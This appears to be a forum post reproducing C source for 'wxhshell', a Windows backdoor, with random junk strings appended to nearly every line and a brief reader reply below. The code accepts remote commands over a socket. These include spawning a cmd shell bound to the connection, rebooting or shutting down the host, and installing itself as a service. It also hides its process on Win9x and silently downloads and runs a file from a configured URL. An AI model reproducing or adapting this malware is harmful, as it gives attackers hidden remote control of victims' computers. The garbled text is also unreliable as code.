DQG%`-J  
    switch(cmd[0]) { \c_g9Iqa  
  qc8Ge\3s  
  // 帮助 x3+ -wv  
  case '?': { =o#Z?Bn5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \s=r[0tj!  
    break; csP4Oq\g[  
  } A8% e _XA  
  // 安装 lc,k-}n  
  case 'i': { R@c])\^]  
    if(Install()) dxeiN#(XT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,GSiSn  
    else 8eXe b|?J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %1?t)Bg  
    break; ]#o;`5'  
    } hek+zloB+  
  // 卸载 Rhc:szDU  
  case 'r': { 6n9/`D!  
    if(Uninstall()) kV'zA F v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *zdD4 I=  
    else "f91YX_)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2S8;=x}/  
    break; <cTX;&0=  
    } 9D3W_eIc  
  // 显示 wxhshell 所在路径 d{fd5jv;  
  case 'p': { lR?y tIY  
    char svExeFile[MAX_PATH]; !tq]kKJ3:  
    strcpy(svExeFile,"\n\r"); &y? |$p\;/  
      strcat(svExeFile,ExeFile); [2@:jLth=  
        send(wsh,svExeFile,strlen(svExeFile),0); N9-0b  
    break; rJiF2W  
    } fG \" p  
  // 重启 E@ea ?Sx  
  case 'b': { #2]*qgA4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A/y|pg5  
    if(Boot(REBOOT)) S{^x]h|?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bxE~tsM"@Y  
    else { }a"=K%b<\  
    closesocket(wsh); A$2 ;Bf  
    ExitThread(0); 64'2ICf#m  
    } \uZpAV)5  
    break; $0V+<  
    } Uu7]`Ul  
  // 关机 RP~nLh3=\  
  case 'd': { utck{]P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tA1?8`bQ  
    if(Boot(SHUTDOWN)) bB<S4@jF8z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6,q0F*q  
    else { \&F4Wl>`  
    closesocket(wsh); [RBSUOF  
    ExitThread(0); )@! fLA T  
    } Y-it3q'Z  
    break; .$\-{)  
    } a en%  
  // 获取shell []>rYZ9bv  
  case 's': { :Wbp|:N0  
    CmdShell(wsh); ! $JX3mP  
    closesocket(wsh); uO4 LD}A  
    ExitThread(0); 7;Ze>"W>  
    break; &4OOW;,?<  
  } L } R"1O  
  // 退出 GvtK=A$b  
  case 'x': { `,AOxJ:$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '{WEyhaS  
    CloseIt(wsh); Q0xGd(\  
    break; JV_`E_!  
    } "|JbdI]%P  
  // 离开 xoVd[c!   
  case 'q': { \PS]c9@,rc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `R0~mx&6G  
    closesocket(wsh); <lzC|>BG  
    WSACleanup(); OV{v6,>O  
    exit(1); :2j`NyLI.  
    break; RQ=rB9~:ZN  
        } U*+-#  
  } 18X?CoM~  
  } h1S)B|~8  
'`^~Zy?c  
  // 提示信息 .6MG#N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hTa X@=Ra  
} P4B|l:  
  } qt9jZtx  
A{> w5T  
  return; 0_qr7Ui8(  
} =mLp g4  
5QqU.9M  
// shell模块句柄 ;?q(8^A  
int CmdShell(SOCKET sock) YWU@e[  
{ ]#NfH-T  
STARTUPINFO si; k2eKs*WLC  
ZeroMemory(&si,sizeof(si)); IhzY7U)}T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ou0TKE9 _  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OcUj_Zd  
PROCESS_INFORMATION ProcessInfo; T^!Q(`*  
char cmdline[]="cmd"; .4]XR/I$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A$p&<#  
  return 0; z#G\D5yX[*  
} ~ AD>@;8fG  
Y nnK]N;\x  
// 自身启动模式 -`8@  
int StartFromService(void) }Rz,}^B  
{ G9Xkim Q'  
typedef struct !{ *yWpZ:  
{ 8^EWD3N`  
  DWORD ExitStatus; i'<hT q4  
  DWORD PebBaseAddress; qJF'KHyU{l  
  DWORD AffinityMask; H, 3Bf  
  DWORD BasePriority; X.{xH D&_  
  ULONG UniqueProcessId; 2XL^A[?   
  ULONG InheritedFromUniqueProcessId; ^0"^  
}   PROCESS_BASIC_INFORMATION; `IlhLv  
+76'(@(1Y  
PROCNTQSIP NtQueryInformationProcess; { 1~]}K2  
x .@O]}UH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K 'I6iCrD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DI)"F OM6  
64b AWHv  
  HANDLE             hProcess; 1PxRj  
  PROCESS_BASIC_INFORMATION pbi; kKRu]0J~[  
rXmrT%7k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0#GnmH  
  if(NULL == hInst ) return 0; b)a5LFt|  
]2L11" erP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B Hp>(7,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q5Zu'-Cx@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6Z1O:Bou  
`yq) y>_  
  if (!NtQueryInformationProcess) return 0; pS-o*!\C.  
r;b`@ .  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y->sJm  
  if(!hProcess) return 0; )0I -N)  
q=e;P;u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =P,mix|  
(XR}U6^v]  
  CloseHandle(hProcess); 1/\Xngd  
2FdwX ,O.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o[wiQ9Tl  
if(hProcess==NULL) return 0; 5M>p%/  
g_ep 5#\D  
HMODULE hMod; 7V^j9TC  
char procName[255]; K8KN<Q s]  
unsigned long cbNeeded; E9k%:&]vd  
|:SV=T:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |Zn;O6c#L5  
"1""1";  
  CloseHandle(hProcess); wY8Vc"  
GZ<@#~1%\  
if(strstr(procName,"services")) return 1; // 以服务启动 p-"wY?q  
>9XG+f66E  
  return 0; // 注册表启动 C% z9Q  
} qm#?DSLap  
j/O9LygB  
// 主模块 ^{J^oZ'%~  
int StartWxhshell(LPSTR lpCmdLine) <NDV 5P  
{ 44n41.Q]  
  SOCKET wsl; U1 3Lsky%  
BOOL val=TRUE; A"DGn  
  int port=0; -mO<(wfV>  
  struct sockaddr_in door; x-@?:P*  
n9 bp0#K  
  if(wscfg.ws_autoins) Install(); G~_eBy  
;[lLFI  
port=atoi(lpCmdLine); >g+Y//Z  
|CQjgI|;  
if(port<=0) port=wscfg.ws_port; k^JgCC+  
G@e;ms1  
  WSADATA data; r.@UH-2c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )y!gApNs"  
>yenuqIKQv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #mioT",bm=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b+RU <qR  
  door.sin_family = AF_INET;  eJ[+3Wh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X`Lv}6}xT  
  door.sin_port = htons(port); ?st}rJ_  
%/U'Wu{*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |]:6IuslJ  
closesocket(wsl); q 7W7sw  
return 1; mGwJ>'+d  
} `nII@ !  
K\RMX?YsP  
  if(listen(wsl,2) == INVALID_SOCKET) { C<QpUJ`k  
closesocket(wsl); kVeY} 8  
return 1; %;_EWs/z8  
} i5WO)9Us  
  Wxhshell(wsl); dqU)(T=C  
  WSACleanup(); a{;+_J3S  
-'oxenu  
return 0; Ss{5'SF)$c  
]9<H[5>$R  
} !#5y%Bf  
\'w.<)(GI  
// 以NT服务方式启动 w4^ $@GtN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^eV  K.  
{ }f{5-iwD}  
DWORD   status = 0; s)'+,lKw  
  DWORD   specificError = 0xfffffff; "FE%k>aV@v  
~y 2joStx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vPZ0?r_5W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7k#>$sY+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;$*tn"- ?~  
  serviceStatus.dwWin32ExitCode     = 0; KB\ri&bF  
  serviceStatus.dwServiceSpecificExitCode = 0; v-F|#4Q=ut  
  serviceStatus.dwCheckPoint       = 0; D!)h92CIDm  
  serviceStatus.dwWaitHint       = 0; P$O@G$n  
=L"I[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e=tM=i"  
  if (hServiceStatusHandle==0) return; E-9>lb  
~T._ v;IT  
status = GetLastError(); H11@ DQ6  
  if (status!=NO_ERROR) fA V.Mj-  
{ Q &&=:97d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Zic:d-Q47  
    serviceStatus.dwCheckPoint       = 0; {poTA+i  
    serviceStatus.dwWaitHint       = 0; m,4'@jg0  
    serviceStatus.dwWin32ExitCode     = status; uW(Ngcpr  
    serviceStatus.dwServiceSpecificExitCode = specificError; L]X Lv9J0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ][\ uH|  
    return; Nhjz~S<o  
  } VzM (u _)  
4&L,QSJ V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *rm[\  
  serviceStatus.dwCheckPoint       = 0; |jWA >S  
  serviceStatus.dwWaitHint       = 0; &` "uKO]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =(<7o_gJ  
} A,#z_2~  
: T4ap_Ycq  
// 处理NT服务事件,比如:启动、停止 1 !.P H   
VOID WINAPI NTServiceHandler(DWORD fdwControl) I=E\=UTG,5  
{ ;$r!eFY;  
switch(fdwControl) Nw1 .x  
{ U|+`Eth8(  
case SERVICE_CONTROL_STOP: ccW{88II7w  
  serviceStatus.dwWin32ExitCode = 0; #\}xyPS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dKPx3Y'  
  serviceStatus.dwCheckPoint   = 0; :' !_PN  
  serviceStatus.dwWaitHint     = 0; IxWX2yJ]  
  { `Z`o[]%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PB:r+[91  
  } rG B*a8  
  return; .KYDYdoS'  
case SERVICE_CONTROL_PAUSE: y+.(E-g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :bP <H  
  break; SwH#=hg  
case SERVICE_CONTROL_CONTINUE: H[/^&1P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2ZxZ2?.uJ  
  break; ~c=*Y=)LG  
case SERVICE_CONTROL_INTERROGATE: b Olb  
  break; XOZ@ek)LY  
}; \7(OFT\u:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tgrZs8?  
} !6+V  
OH5#.${O  
// 标准应用程序主函数 u])MI6LF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I\82_t8  
{ 2$ \#BG  
(>om.FM  
// 获取操作系统版本 Nm0|U.<  
OsIsNt=GetOsVer(); cl'qw##  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0te[i*G  
yA<\?Ps  
  // 从命令行安装 7YU}-gi  
  if(strpbrk(lpCmdLine,"iI")) Install(); Eo{js?1G_  
J s,.$t  
  // 下载执行文件 `b5pa`\4  
if(wscfg.ws_downexe) { G7HvA46  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pmDFmES  
  WinExec(wscfg.ws_filenam,SW_HIDE); o PA m*  
} gn${@y?  
&Mh]s\  
if(!OsIsNt) { 2CPh'7|l  
// 如果时win9x,隐藏进程并且设置为注册表启动 k'd=|U;(FV  
HideProc(); 4Cf.%f9@  
StartWxhshell(lpCmdLine); PkdL] !:  
} k?Iq 6  
else 0~nub  
  if(StartFromService()) MJ@PAwv"  
  // 以服务方式启动 rge/qUr/^  
  StartServiceCtrlDispatcher(DispatchTable); S? (/~Vb%  
else vQ DlS1L  
  // 普通方式启动 TP)}1 @  
  StartWxhshell(lpCmdLine); safI`b w1  
hzy#%FaB  
return 0; 4{=^J2z  
}
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只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
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